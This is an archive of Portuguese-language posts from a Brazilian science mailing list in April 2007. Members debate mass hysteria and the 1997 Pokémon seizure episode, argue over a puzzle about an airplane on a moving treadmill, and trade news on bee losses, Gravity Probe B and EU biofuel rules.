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SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 10:16

Veja:
http://www.csicop.org/si/2001-05/pokemon.html

Mori

On 4/18/07, Gil <nanolink01@gmail.com> wrote:
> Como um transtorno "associado" a fatores de stress pode ser causado por um
> desenho animado?! E de bichinhos fofinhos, ainda? E como seria acionado um
> transtorno "coletivo" ou "de massas", considerando que cada criança vê tv em
> sua propria casa ?
>
> "Pequena Porcentagem" "por epilepsia", só poder ser brincadeira: O meu
> "master System" com óculos 3d vinha com aviso para crianças com esse tipo
> epilepsia tomarem cuidado com as sequências coloridas dos jogos "3d" da
> época.
>
> Gil
>
> Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> >
> > (... ) Este transtorno faz referência ao que tradicionalmente se denomina
> > histeria
> > coletiva ou histeria de massas. Trata-se de um fenômeno grupal ou coletivo
> > onde os afetados geralmente são jovens, que desenvolvem sintomas como
> > náusea, vertigem, diarréia e
> > alterações no passo, e que não possui explicação biológica demonstrável,
> > além de estar associados a fatores de estresse.
> >
>
> (...) Os casos recentes de transtornos conversivos epidêmicos ocorreram
> > principalmente entre colegiais, com adolescentes submetidos a diversas
> > situações de estresse.
> >
> > .
> > Um caso especialmente notável é a histeria coletiva Pokemón em
> > 1997 da qual muitos ainda devem se lembrar. Um episódio da série animada
> > levou
> > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > porcentagem
> > destas de fato foi afetada por ataques de epilepsia provocados pelas cores
> > vibrantes piscando na TV. A enorme maioria das centenas, milhares de
> > crianças relatando sintomas físicos participava de um surto de histeria
> > coletiva.


SUBJECT: Re: [ciencialist] Balanço do avião - Nova situação
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 10:40

Luiz, para evitar continuarmos a nos estender em definições especificas e
detalhadas de conceitos periféricos ao problema, peço que obtenha *os dados
do problema na mensagem original*, aquela que iniciou a discussão e, a
partir daí, refletir as soluções que eu apresentei aqui. Desse modo, teremos
objetividade na análise do problema.
[]s
José Renato
.............................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 18, 2007 7:05 AM
Subject: Re: [ciencialist] Balanço do avião - Nova situação


J. Renato,

especifique detalhadamente o que vc chama de "atrito entre avião e esteira".
Tenha em mente que: o avião possui um 'trem de pouso' rigidamente fixado a
ele (pode ser móvel, mas sempre fixo ao avião); no trem de pouso há 'rodas'
que giram ao redor de um eixo através de rolamentos (seja de esfera ou
cilindros); nas rodas há pneus que tocam o solo (ou a esteira); no trem de
pouso há sapatas de frenagem à disco para as rodas, comandadas pelo piloto.
Tenha em mente que, se não há derrapagem, a velocidade do ponto de contato
do pneu com o solo (ou esteira) é sempre ZERO!

[]'


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 17 de abril de 2007 21:15
Assunto: Re: [ciencialist] Balanço do avião - Nova situação


Luiz, parece-me que vc também incorporou o atrito especial igual a zero ao
enunciado do problema original. Para avaliar corretamente meu raciocínio de
que o avião não voa, quando é considerado o ponto de ref para as medições
dos movimentos na própria esteira, será necessário voltar ao enunciado
original que não inclui atrito zero. Vale lembrar que se o atrito entre o
avião e a esteira for zero o problema perde o sentido. Afinal, o que o torna
interessante é exatamente a interação entre os movimentos do avião e o da
esteira.
[]s
José Renato
..........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 17, 2007 8:37 AM
Subject: Re: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato,

com satisfação darei meu parecer 'divino'.

Antes, porém, reflita sobre a seguinte situação: sobre uma folha de jornal
esticada sobre a mesa e bem no seu centro há uma xícara. Se vc puxar
rapidamente o jornal rente à mesa a xícara sairá do lugar? Ela acompanha o
jornal?

Se vc concluir que a xícara acompanhará o jornal nesse puxão, nada poderei
explicar sobre o avião pousado sobre uma esteira, com rodas 'desbrecadas' e
atritos nulos.

Mas, a conclusão é: o avião (nas condições especificadas) pousado sobre a
esteira não acompanhará a esteira no seu movimento, desde que a esteira se
desloque na mesma direção da fuselagem do avião. Se a esteira for puxada na
direção das asas, ai sim, o avião acompanhará a esteira (mas, esse não é o
caso em questão).
Ao ligar as turbinas o avião se moverá independentemente da existência ou
não da esteira e, existindo, não importará seu sentido de movimento ao longo
da direção do movimento do avião.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 19:42
Assunto: Re: [ciencialist] Balanço do avião - Nova situação


Luiz, para não deixar a situação anterior inconclusa, como ocorreu há uns
dois anos, antes de analisar essa nova proposta gostaria de ter seu parecer
sobre a questão que já está em discussão.
Abraços
José Renato
............................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 16, 2007 12:32 PM
Subject: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa
pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já
quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é
constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa
tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona
freio algum pois percebe que a esteira já está suportando o peso do aparelho
e que as rodas estão paradas em relação à esteira (não transladam e não
giram); mas desliga os motores. Não se preocupe com o comprimento da
esteira; ela vai até onde nos interessar e, eventualmente, poderá ir
lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer
atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

Nota: Outrossim, lembro, delete as partes repetitivas e os pés das
mensagens.
===========================
Luiz Ferraz Netto [Léo]
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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 11:00

José Carlos, não me considero brilhante, nem "esperto", como Ptolomeu. Mesmo
assim, peço que obtenha o enunciado original do problema no arquivo da
lista, de modo que vc constate que não fica bem insinuar que seu colega está
usando de desfaçatez. Entretanto, todos os meus dois neurônios estão atentos
à elas. Desse modo, não aceito seu convite para redigir aqui o enunciado
original do problema, pois isso daria impressão a todos de que eu estou
apresentado um *novo* problema, com dados diferentes do original, o que
justificaria a falta de percepção suficiente para os listeiros acharem a
resposta que apresentei.

[]s

José Renato
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 18, 2007 2:07 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


:)))

José Renato,

Ptolomeu era um cara brilhante e inventou epiciclos e deferentes para
tentar salvar o modelo geocêntrico de mundo (que andava capengando
feito esse problema do avião), mas não deu certo. :)

Já que você quer resolver um problema que parece que se modificou ao
longo da nossa conversa, melhor seria então você propor o problema no
original (eu lhe pedi isso no início da NOSSA conversa, caso tenha se
esquecido) e com TODOS os detalhes que você acha pertinentes.

De qualquer forma, já fica então estabelecido que desprezando-se o
atrito nos rolamentos das rodas (e note que eu não disse ENTRE AS
RODAS E A PISTA) o avião voa independentemente do movimento da
esteira, ok?

Aguardo seu "novo" problema, com todos os detalhes pertinentes. Não se
acanhe, pode descrever o problema e a SUA solução com todos os
detalhes, ok?

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> José Carlos, escreveu: [ Não, José Renato, o avião não será
carregado MESMO!
> E é justamente aí que está o problema básico de sua formação em
Física como
> mencionei no início. Você não conseguiu ainda compreender bem o
papel do
> atrito e da inércia. Não há nenhum atrito no rolamento das rodas #(por
> suposição do problema)# e o avião, como tudo que tem massa, tem
inércia,
> resiste à mudança de movimento até que lhe seja aplicada uma força
> resultante não nula. [ ... ] [ NÃO, José Renato, não existe atrito nos
> rolamentos da roda. Você pode girá-la sem transmitir forças para o
avião.
> Esse foi seu próprio
> pressuposto no caso 1. ]
> .................................................
>
> Caro, José Carlos, finalmente a luz! Vc está considerando que *não há
> atrito* entre o avião e a esteira. Mas essa premissa foi inserida pelo
> Tanaka e Homero em comentários posteriores. No problema original não
se fala
> em atrito, muito menos em atrito zero. Peço verificar que nas minhas
> explicações que não há indicação de atrito zero. O problema não
menciona
> isso. Considero o atrito normal de rolamentos. Vc entrou no bonde
andando e
> ficou perdido no problema. Mas acredito que agora, após sua
reavaliação do
> problema, chegaremos a um consenso.
>
> Abraços
> José Renato
> ...................................................
>
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 16, 2007 11:08 PM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Comento seus comentários deixando espaços entre o texto...
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos! Faço comentários no corpo do e-mail abaixo, após
> JR1 -,
> > OK?
> > Marquei meus comentários anteriores com JR - , sem o índice 1.
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 15, 2007 3:53 AM
> > Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo
> > nada
> >
> >
> > Olá José Renato,
> >
> > Acredito que sua dúvida seja relevante e talvez se deva a alguns
> > problemas na sua formação básica em Física. Assim, vou tentar ajudar
> > no que for possível e rezarei para que seus vícios de aprendizagem não
> > sejam maiores que minha didática. Então vamos lá... (Por partes)
> > JR1 - O objetivo não é inferir quem tem problemas de formação
básica em
> > Física. Isso é irrelevante. Serve apenas para o inferidor se sentir
> melhor
> > em relação à sua falta de entendimento ao esquema apresentado.
>
>
> Esse pode não ser o seu objetivo, mas é o meu. Pode não ter relevância
> para você, mas para mim é a única coisa relevante de fato. :)
>
> Esqueceu-se que sou professor? Professores ganham a vida e perdem
> minutos preciosos que poderiam dedicar a seus próprios filhos na árdua
> luta de tentar facilitar a aprendizagem dos outros. Às vezes em troca
> de desaforos, mas também é possível ganhar algum dinheiro. :)

( apaguei o restante )



SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 12:23

Isso está ocorrendo com maior intensidade no Reino Unido - UK. Os estudos
apontam para o uso intensivo de defensivos agrícolas. O desequilíbrio
provocado pela falta de polinização realizado pelas abelhas vão afetar cada
vez mais a agricultura. Duas espécies nativas de lá estão em risco de
extinção.
[]s
JR
.............................................
----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 17, 2007 11:33 AM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Renato:
Mas o atual caso das abelhas é único: nos #UA milhares de apicultores
perderam seus enxames e, o mais curioso, não os encontraram em lugar nenhum:
simplesmente desapareceram.
Nem cadáveres foram encontrados em amplo estudo feito pois o prejuizo
econômico e renda familiar é muito grande.

Obviamente que em terminado momento deverão explicar o sumiço.

sds.,
silvio.
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 15, 2007 12:45 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Silvio, abelhas vivem de mata e flores...
Há uma experiência interessante feito com ostras. Elas abrem de acordo com
a
maré. Colocadas em tanques no meio dos Estados Unidos. Surpreendentemente,
elas continuaram a abrir com o movimento da maré *naquele lugar*, conforme
o
movimento da Lua!
[]s
José Renato
........................................

From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 9:52 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas

mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com
cefalópodes
são mantidas em absoluto sigilo: eles já são treinados para colocar uma
granada no casco de um submarino cujo som lhes é passado pelo controle do
sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com
animais,
guardadas como segredo pois são peças importantes em qualquer necessidade
militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia
do
que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que
tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>

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SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 12:23

Histeria coletiva sempre paga o pato??? Quer dizer
quando não encontram nenhuma explicação jogam pra esse
tipo de argumento???Como se prova que um grupo teve
histeria coletiva???
Como se pode afirmar algo que não se pode provar???



--- Kentaro Mori <kentaro.mori@gmail.com> escreveu:

> Veja:
> http://www.csicop.org/si/2001-05/pokemon.html
>
> Mori
>
> On 4/18/07, Gil <nanolink01@gmail.com> wrote:
> > Como um transtorno "associado" a fatores de stress
> pode ser causado por um
> > desenho animado?! E de bichinhos fofinhos, ainda?
> E como seria acionado um
> > transtorno "coletivo" ou "de massas", considerando
> que cada criança vê tv em
> > sua propria casa ?
> >
> > "Pequena Porcentagem" "por epilepsia", só poder
> ser brincadeira: O meu
> > "master System" com óculos 3d vinha com aviso para
> crianças com esse tipo
> > epilepsia tomarem cuidado com as sequências
> coloridas dos jogos "3d" da
> > época.
> >
> > Gil
> >
> > Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com>
> escreveu:
> > >
> > > (... ) Este transtorno faz referência ao que
> tradicionalmente se denomina
> > > histeria
> > > coletiva ou histeria de massas. Trata-se de um
> fenômeno grupal ou coletivo
> > > onde os afetados geralmente são jovens, que
> desenvolvem sintomas como
> > > náusea, vertigem, diarréia e
> > > alterações no passo, e que não possui explicação
> biológica demonstrável,
> > > além de estar associados a fatores de estresse.
> > >
> >
> > (...) Os casos recentes de transtornos conversivos
> epidêmicos ocorreram
> > > principalmente entre colegiais, com adolescentes
> submetidos a diversas
> > > situações de estresse.
> > >
> > > .
> > > Um caso especialmente notável é a histeria
> coletiva Pokemón em
> > > 1997 da qual muitos ainda devem se lembrar. Um
> episódio da série animada
> > > levou
> > > centenas de crianças a relatar mal-estar, mas
> apenas uma pequena
> > > porcentagem
> > > destas de fato foi afetada por ataques de
> epilepsia provocados pelas cores
> > > vibrantes piscando na TV. A enorme maioria das
> centenas, milhares de
> > > crianças relatando sintomas físicos participava
> de um surto de histeria
> > > coletiva.
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Fonte permite a ilusão de controlar e reverter o tempo
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 14:16

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> De certo modo é mesmo 'acanhamento científico' não ficar citando
meus próprios textos em minhas argumentações na C-List. Não posso
fazer um afirmação e apresentar meu próprio texto como 'palavra da
autoridade' :-)

Hhmmm... Eu acho que o nobre professor perde duas oportunidades
excelentes: a divulgação do seu trabalho, e a contribuição na forma de
eventuais correções ou sugestões, já que ninguém - nem mesmo o
festejado autor do imperdível - sabe tanto a ponto de nunca cometer um
erro, uma imprecisão, ou mesmo de poder ter as idéias complementadas
por um terceiro. A visibilidade é importante, e se o teu trabalho é
para servir de referência, deve servir de referência para todos,
inclusive para o autor... Mande às favas o acanhamento, é a minha opinião.

[]s
--
César A. K. Grossmann



SUBJECT: P/ CHicao : Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 14:25

Olá Chicão

Chicão: "Histeria coletiva sempre paga o pato??? Quer dizer
> quando não encontram nenhuma explicação jogam pra esse
> tipo de argumento???Como se prova que um grupo teve
> histeria coletiva???
> Como se pode afirmar algo que não se pode provar???"

Não é bem assim, Chicão. Processos de histeria coletiva são conhecidos
e descritos nos comportamentos humanos, e podem ser observados em
quase todo jogo de futebol com torcidas organizadas. Mecanismos de
reforço, derivados de processos cognitivos como neurônios espelho e
empatia psicológica podem estar na raiz de muitos comportamentos de
grupo, e ainda que sejam precisos muitos estudos para compreender bem
como ocorrem, eles ocorrem.

Quase todo quebra-quebra envolve algum tipo de descontrole, e muitos
participantes não sabem bem porque agiram desta ou daquela forma
durante o processo. Muitos se espantam ou ficam horrorizados com seu
próprio comportamento.

Animais gregários tem forte tendência a imitação, um comportamento
importante para a sobrevivência em grupo. Faça o que seu vizinho
estiver fazendo, e suas chances de sobreviver aumentam. Demore na
resposta, fugir por exemplo com o bando todo, e pode ser devorado mais
facilmente.

Muitos animais de bandos respondem imediatamente, quase diria
histericamente, a qualquer perturbação do grupo. O balé de cardumes
envolve a capacidade de responder quase imediatamente ao movimento do
outros. Bandos de aves também.

Não é tão diferente assim respondem em conjunto, mas com relação a
nossas habilidades específicas, comportamentos e psicologia, já que é
isso que nos caracteriza. Se peixes nadam em sincronia, se aves voam
em sincronia, humanos podem reagir psicologicamente em sincronia.

Rituais de guerra ou festividades em grupos tribais produziam (e ainda
produzem em muitos lugares) esse efeito, que muitos chamam de transe
psicológico. Se um vomitar, todos vomitam nesses processos.

Assim, não é que a histeria "pague o apto", mas sim que podemos
reconhecer um conjunto de sintomas desse comportamento.

Um abraço.

Homero




SUBJECT: [relatividad] confirman la teoría general de la relativida d?=
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 14:26

Lista,

Recebí de outro fórum, e repasso.

Sds,
Victor


http://www.uves/obsast/es/divul/noticias/hoy.html

Los resultados preliminares de Gravity Probe B confirman la teoría general de la relatividad de Einstein (12/4/2007 de Chandra Digest)



El satélite Gravity Probe B lanzado en 2004 tenía como único objetivo utilizar cuatro giróscopos ultraprecisos para medir directamente dos efectos predichos por la teoría general de la relatividad. Uno es el efecto geodético - por cuánto la masa de la Tierra distorsiona el espacio-tiempo local en el que reside. El otro efecto, llamado de arrastre, es en cuánto la Tierra arrastra el espacio-tiempo local en su giro. Los científicos de Gravity Probe B anunciarán los resultados finales del experimento en diciembre de 2007, pero ya han avanzado que los datos disponibles claramente confirman el efecto geodético con una precisión mejor del 1 por ciento



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[Se han eliminado los trozos de este mensaje que no contenían texto]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Trata-se de uma lista de discussão sobre ciência....
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 14:48

Recentemente me inscrevi novamente no Ciencialist, devido a que minha conta anterior foi cancelada(não sei a razão). Então,
encontrei o seguinte, a respeito do fórum:



"Solicitação para entrar em ciencialist
Bem-vindo ao Yahoo! Grupos! Agradecemos pelo seu interesse no grupo ciencialist.

Observação: todos os pedidos de associação para o grupo ciencialist precisam ser aprovados pelo moderador.

Saiba mais sobre ciencialist (Veja a home page deste grupo) Associados: 845
Data de fundação: 18 de Fev de 1999

Tipo da lista de discussão: Discussão entre associados
Trata-se de uma lista de discussão sobre ciência. - Favor não debater religião e política neste grupo. - Quem enviar excesso de off-topic será moderado.

Entrar no grupo.
Você será inscrito na lista de discussão e terá acesso a todas as ferramentas da web, como arquivo de mensagens, enquetes, arquivos e fotos

Observação: no momento você está conectado ao Yahoo! como josevictordeoliveiraneto. Se você não é josevictordeoliveiraneto, Entre como um usuário diferente. "


Sds,
Victor.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 15:41

Achei sem querer esse site na net:

http://paginas.terra.com.br/educacao/criticandokardec/criticandooceticismo.htm

Sobra pro Takata, pro Brudna, pro Daniel...só quem
escapa é Kentaro Mori.

Existe alguma retratação pública de vocês sobre esse fato???

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 15:57

Nunca fui diretor da STR. Fui um editor de links, e dava alguns
pitacos em alguns assuntos. Tambem nao estava por dentro de todas as
tematicas que aconteciam no grupo e site.

Uma coisa eh certa. Me diverti muito. E ainda continuo achando
algumas coisas divertidas. :-)

O Takata nao merecia essa. hehe

Ateh
Luis Brudna


On 4/18/07, Chicao Valadares <chicaovaladares@yahoo.com.br> wrote:
>
> Achei sem querer esse site na net:
>
> http://paginas.terra.com.br/educacao/criticandokardec/criticandooceticismo.htm
>
> Sobra pro Takata, pro Brudna, pro Daniel...só quem
> escapa é Kentaro Mori.
>
> Existe alguma retratação pública de vocês sobre esse fato???
>


SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 16:08

----- Original Message -----
From: "Chicao Valadares"
Sent: Wednesday, April 18, 2007 3:41 PM
Subject: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna
etc....)

> Achei sem querer esse site na net:
> http://paginas.terra.com.br/educacao/criticandokardec/criticandooceticismo.htm

Olá Chicão e demais ciencialisteiros

Por incrível que possa parecer, ceticismo é coisa séria e bastante implicada
com o que poderíamos chamar filosofia da ciência. Em hipótese alguma deve
ser confundido com esta balela que costuma aparecer com grande freqüência na
Internet e, ainda que raramente, até mesmo aqui na Ciencialist (há honrosas
exceções e quero crer que o Brudna é uma delas -- estou citando o Brudna
apenas porque ele foi mencionado na msg do Chicão). De qualquer forma, irão
dizer que este assunto não é para ser discutido aqui e, como bom entendedor
[e/ou profeta :-)], antecipo-me a esta recomendação e não direi mais nada.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 17:02

Eu li.

> > Um caso especialmente notável é a histeria coletiva Pokemón em
> > 1997 da qual muitos ainda devem se lembrar. Um episódio da série animada
> > levou
> > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > porcentagem
> > destas de fato foi afetada por ataques de epilepsia provocados pelas
cores
> > vibrantes piscando na TV. A enorme maioria das centenas, milhares de
> > crianças relatando sintomas físicos participava de um surto de histeria
> > coletiva.

700 crianças sofreram ataques epiléticos. Inclusive o texto dá informações
esclarecedoras:
- As crianças japonesas se sentam mto próximas à tv, provavlemente um hábito
correlacionado com a arquitetura das casas, geralmente pequenas.

Isso é significativo considerando a forte incidência de ataques, e também me
ajuda a entender porque sempre passa o aviso "Não se sente muito próximo da
tv, e mantenha as luzes do quarto acesas", no início de cada anime. Com
essas novas informações, entendi porque existe essa preocupação por parte
dos japoneses, que eu já tinha percebido em meu antigo videogame.

Alguns dias depois, os médicos associaram a entrada de 12.000 crianças com
sintomas diversos. Acho que forçaram a barra aí, mas posso estar enganado,
meu inglês não é muito bom.

Homero, já que vc se interessou pelo assunto, dá sua opinião aí. Não tem
problema se quiser escrever uma ilíada científica :)
http://www.csicop.org/si/2001-05/pokemon.html

Gil

Em 18/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> Veja:
> http://www.csicop.org/si/2001-05/pokemon.html
>
> Mori
>
> On 4/18/07, Gil <nanolink01@gmail.com> wrote:
> > Como um transtorno "associado" a fatores de stress pode ser causado por
> um
> > desenho animado?! E de bichinhos fofinhos, ainda? E como seria acionado
> um
> > transtorno "coletivo" ou "de massas", considerando que cada criança vê
> tv em
> > sua propria casa ?
> >
> > "Pequena Porcentagem" "por epilepsia", só poder ser brincadeira: O meu
> > "master System" com óculos 3d vinha com aviso para crianças com esse
> tipo
> > epilepsia tomarem cuidado com as sequências coloridas dos jogos "3d" da
> > época.
> >
> > Gil
> >
> > Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> > >
> > > (... ) Este transtorno faz referência ao que tradicionalmente se
> denomina
> > > histeria
> > > coletiva ou histeria de massas. Trata-se de um fenômeno grupal ou
> coletivo
> > > onde os afetados geralmente são jovens, que desenvolvem sintomas como
> > > náusea, vertigem, diarréia e
> > > alterações no passo, e que não possui explicação biológica
> demonstrável,
> > > além de estar associados a fatores de estresse.
> > >
> >
> > (...) Os casos recentes de transtornos conversivos epidêmicos ocorreram
> > > principalmente entre colegiais, com adolescentes submetidos a diversas
> > > situações de estresse.
> > >
> > > .
> > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série
> animada
> > > levou
> > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > porcentagem
> > > destas de fato foi afetada por ataques de epilepsia provocados pelas
> cores
> > > vibrantes piscando na TV. A enorme maioria das centenas, milhares de
> > > crianças relatando sintomas físicos participava de um surto de
> histeria
> > > coletiva.
>
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> Página de apoio
> http://www.ciencialist.com
>
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> Links do Yahoo! Grupos
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SUBJECT: : *BR* UE caminha para exigir biocombustível "responsável"
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>
CC: <Acropolis_@yahoogrupos.com.br>
DATE: 18/04/2007 17:58




UE caminha para exigir biocombustível "responsável"

De Genebra
Valor Econômico
18/4/2007

A União Européia segue firme nos estudos para reduzir a tarifa de importação para biocombustíveis (etanol e biodiesel) procedentes de países enquadrados em um futuro sistema de certificação ambiental, confirmaram fontes em Bruxelas. A discussão acontece em meio a persistentes denúncias do setor agrícola europeu de que parte da grande competitividade do Brasil decorre do desmatamento da floresta amazônica, fato sempre negado por potenciais exportadores brasileiros.

